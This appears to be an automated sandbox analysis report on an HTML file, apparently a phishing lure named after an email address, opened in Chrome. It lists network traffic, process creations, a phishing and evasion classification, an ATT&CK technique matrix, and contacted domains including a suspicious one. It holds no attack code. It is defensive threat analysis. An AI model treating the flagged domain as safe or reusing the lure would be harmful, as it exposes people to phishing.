Source: unknown	Network traffic detected: HTTP traffic on port 50712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51213 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51184 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51276 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51207
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51208
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51205
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51206
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51209
Source: unknown	Network traffic detected: HTTP traffic on port 50965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51200
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51203
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51204
Source: unknown	Network traffic detected: HTTP traffic on port 50781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51202
Source: unknown	Network traffic detected: HTTP traffic on port 51235 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51254 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51149 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51218
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51219
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51216
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51217
Source: unknown	Network traffic detected: HTTP traffic on port 51059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51172 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51210
Source: unknown	Network traffic detected: HTTP traffic on port 50700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51211
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51214
Source: unknown	Network traffic detected: HTTP traffic on port 50897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51215
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51212
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51213
Source: unknown	Network traffic detected: HTTP traffic on port 50923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51127 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50777
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51140 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50778
Source: unknown	Network traffic detected: HTTP traffic on port 51266 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50772
Source: unknown	Network traffic detected: HTTP traffic on port 51025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50774
Source: unknown	Network traffic detected: HTTP traffic on port 50863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50787
Source: unknown	Network traffic detected: HTTP traffic on port 51057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50789
Source: unknown	Network traffic detected: HTTP traffic on port 51223 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50782
Source: unknown	Network traffic detected: HTTP traffic on port 50702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50783
Source: unknown	Network traffic detected: HTTP traffic on port 51174 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50786
Source: unknown	Network traffic detected: HTTP traffic on port 50895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51139 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50799
Source: unknown	Network traffic detected: HTTP traffic on port 50791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50791
Source: unknown	Network traffic detected: HTTP traffic on port 50724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51245 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50796
Source: unknown	Network traffic detected: HTTP traffic on port 51013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51162 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51211 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51278 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51144
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51142
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51143
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51149
Source: unknown	Network traffic detected: HTTP traffic on port 50858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51146
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51147
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51176 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51151
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51152
Source: unknown	Network traffic detected: HTTP traffic on port 51210 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51150
Source: unknown	Network traffic detected: HTTP traffic on port 51279 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51164 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51155
Source: unknown	Network traffic detected: HTTP traffic on port 51026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51156
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51153
Source: unknown	Network traffic detected: HTTP traffic on port 51244 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51154
Source: unknown	Network traffic detected: HTTP traffic on port 51061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51159
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51157
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51158
Source: unknown	Network traffic detected: HTTP traffic on port 50755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51162
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51163
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51160
Source: unknown	Network traffic detected: HTTP traffic on port 50812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51161
Source: unknown	Network traffic detected: HTTP traffic on port 51129 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51166
Source: unknown	Network traffic detected: HTTP traffic on port 51280 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51164
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51165
Source: unknown	Network traffic detected: HTTP traffic on port 50708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51152 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51168
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51169
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51170
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51173
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51174
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51171
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51172
Source: unknown	Network traffic detected: HTTP traffic on port 50903 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51177
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51178
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51175
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51176
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51179
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51180
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51181
Source: unknown	Network traffic detected: HTTP traffic on port 50996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51184
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51185
Source: unknown	Network traffic detected: HTTP traffic on port 51209 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51182
Source: unknown	Network traffic detected: HTTP traffic on port 51232 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51183
Source: unknown	Network traffic detected: HTTP traffic on port 50940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51186 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51257 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51108
Source: unknown	Network traffic detected: HTTP traffic on port 51083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51109
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51107
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51220 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51100
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51101
Source: unknown	Network traffic detected: HTTP traffic on port 50986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51104
Source: unknown	Network traffic detected: HTTP traffic on port 51119 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51103
Source: unknown	Network traffic detected: HTTP traffic on port 50731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51119
Source: unknown	Network traffic detected: HTTP traffic on port 51166 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51118
Source: unknown	Network traffic detected: HTTP traffic on port 50952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51111
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51115
Source: unknown	Network traffic detected: HTTP traffic on port 50765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51114
Source: unknown	Network traffic detected: HTTP traffic on port 51269 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51142 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51128
Source: unknown	Network traffic detected: HTTP traffic on port 51188 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51129
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51122
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51123
Source: unknown	Network traffic detected: HTTP traffic on port 50871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51120
Source: unknown	Network traffic detected: HTTP traffic on port 50913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51126
Source: unknown	Network traffic detected: HTTP traffic on port 51132 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51127
Source: unknown	Network traffic detected: HTTP traffic on port 51004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51124
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51125
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51139
Source: unknown	Network traffic detected: HTTP traffic on port 50721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51133
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51134
Source: unknown	Network traffic detected: HTTP traffic on port 51242 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51131
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51132
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51137
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51138
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51135
Source: unknown	Network traffic detected: HTTP traffic on port 50893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51136
Source: unknown	Network traffic detected: HTTP traffic on port 51154 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51140
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51141
Source: unknown	Network traffic detected: HTTP traffic on port 50799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51219 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51270 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51230 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51282 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51041 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50706 -> 443

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.8:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.8:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.8:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.8:50944 version: TLS 1.2

Source: classification engine

Classification label: mal68.phis.evad.winHTML@28/314@194/60

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\carly.joseph@everbridge.com.html"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2132 --field-trial-handle=1908,i,15726479517035873592,16101725115558247750,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2132 --field-trial-handle=1908,i,15726479517035873592,16101725115558247750,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Data Obfuscation

HTML file submission requesting Cloudflare captcha challenge

Source: https://www.cloudflare.com/learning/access-management/phishing-attack/

HTTP Parser: https://www.cloudflare.com/learning/access-management/phishing-attack/

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	1 Drive-by Compromise	Windows Management Instrumentation	1 Scripting	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
https://static.cloudflareinsights.com/beacon.min.js/vcd15cbe7772f49c399c6a5babf22c1241717689176015	0%	URL Reputation	safe
https://stats.g.doubleclick.net/g/collect	0%	URL Reputation	safe
https://developers.marketo.com/MunchkinLicense.pdf	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
prod-default.lb.logrocket.network	104.198.23.205	true	false	unknown
static.cloudflareinsights.com	104.16.79.73	true	false	unknown
bookingadocel.com	188.114.97.3	true	false	unknown
s.dsp-prod.demandbase.com	34.96.71.22	true	false	unknown
adservice.google.com	216.58.212.130	true	false	unknown
platform.twitter.map.fastly.net	146.75.88.157	true	false	unknown
stats.g.doubleclick.net	74.125.71.156	true	false	unknown
ot.www.cloudflare.com	104.16.124.96	true	false	unknown
tag.demandbase.com	18.239.50.124	true	false	unknown
t.co	162.159.140.229	true	false	unknown
performance.radar.cloudflare.com	104.18.31.78	true	false	unknown
cdnjs.cloudflare.com	104.17.24.14	true	false	unknown
www.google.com	172.217.16.196	true	false	unknown
demdex.net.ssl.sc.omtrdc.net	63.140.62.222	true	false	unknown
api.www.cloudflare.com	104.16.123.96	true	false	unknown
dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com	54.73.195.97	true	false	unknown
cf-assets.www.cloudflare.com	104.16.124.96	true	false	unknown
id.rlcdn.com	35.244.174.68	true	false	unknown
tag-logger.demandbase.com	18.173.205.104	true	false	unknown
a.nel.cloudflare.com	35.190.80.1	true	false	unknown
s.twitter.com	104.244.42.67	true	false	unknown
ad.doubleclick.net	142.250.185.166	true	false	unknown
js.qualified.com	104.18.17.5	true	false	unknown
ws6.qualified.com	104.18.16.5	true	false	unknown
ax-0001.ax-msedge.net	150.171.28.10	true	false	unknown
www.linksideas.poc-asia.com	103.17.8.67	true	false	unknown
di.rlcdn.com	35.244.174.68	true	false	unknown
www.cloudflare.com	104.16.123.96	true	true	unknown
cdn.logr-ingest.com	188.114.96.3	true	false	unknown
reddit.map.fastly.net	151.101.1.140	true	false	unknown
googleads.g.doubleclick.net	142.250.184.226	true	false	unknown
dsum-sec.casalemedia.com	104.18.36.155	true	false	unknown
challenges.cloudflare.com	104.18.95.41	true	false	unknown
adobedc.net.ssl.sc.omtrdc.net	63.140.62.27	true	false	unknown
api.company-target.com	18.66.102.75	true	false	unknown
analytics.google.com	142.250.181.238	true	false	unknown
td.doubleclick.net	216.58.206.66	true	false	unknown
fp2c5c.wac.kappacdn.net	152.195.15.58	true	false	unknown
partners-alb-1113315349.us-east-1.elb.amazonaws.com	52.207.158.69	true	false	unknown
713-xsc-918.mktoresp.com	192.28.144.124	true	false	unknown
alb.reddit.com	unknown	unknown	false	unknown
static.ads-twitter.com	unknown	unknown	false	unknown
cm.everesttech.net	unknown	unknown	false	unknown
cdn.bizibly.com	unknown	unknown	false	unknown
cloudflareinc.demdex.net	unknown	unknown	false	unknown
adobedc.demdex.net	unknown	unknown	false	unknown
cdn.bizible.com	unknown	unknown	false	unknown
dpm.demdex.net	unknown	unknown	false	unknown
s.company-target.com	unknown	unknown	false	unknown
assets.adobedtm.com	unknown	unknown	false	unknown
www.linkedin.com	unknown	unknown	false	unknown
pixel.rubiconproject.com	unknown	unknown	false	unknown
px.ads.linkedin.com	unknown	unknown	false	unknown
munchkin.marketo.net	unknown	unknown	false	unknown
analytics.twitter.com	unknown	unknown	false	unknown
r.logr-ingest.com	unknown	unknown	false	unknown
snap.licdn.com	unknown	unknown	false	unknown
partners.tremorhub.com	unknown	unknown	false	unknown
edge.adobedc.net	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://www.cloudflare.com/learning/access-management/phishing-attack/	true		unknown
https://cf-assets.www.cloudflare.com/slt3lc6tev37/6XVeELky7fceWRpfBvN8qr/4e13aa3d8dd73e1f091f3de966fdc9cb/logo_shopify_trusted-by_gray.svg	false		unknown
https://static.cloudflareinsights.com/beacon.min.js/vcd15cbe7772f49c399c6a5babf22c1241717689176015	false	URL Reputation: safe	unknown
https://edge.adobedc.net/ee/irl1/v1/interact?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=11759f4f-66d4-4dbe-ad60-429f4ce33282	false		unknown
https://www.cloudflare.com/page-data/learning/access-management/what-is-identity-and-access-management/page-data.json	false		unknown
https://www.cloudflare.com/component---src-components-learning-center-templates-learning-center-article-template-tsx-be49510567670fd8909d.js	false		unknown
https://edge.adobedc.net/ee/irl1/v1/interact?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=ff6f9a09-c979-4605-8dee-4077f62f4dfc	false		unknown
https://cloudflareinc.demdex.net/dest5.html?d_nsid=0	false		unknown
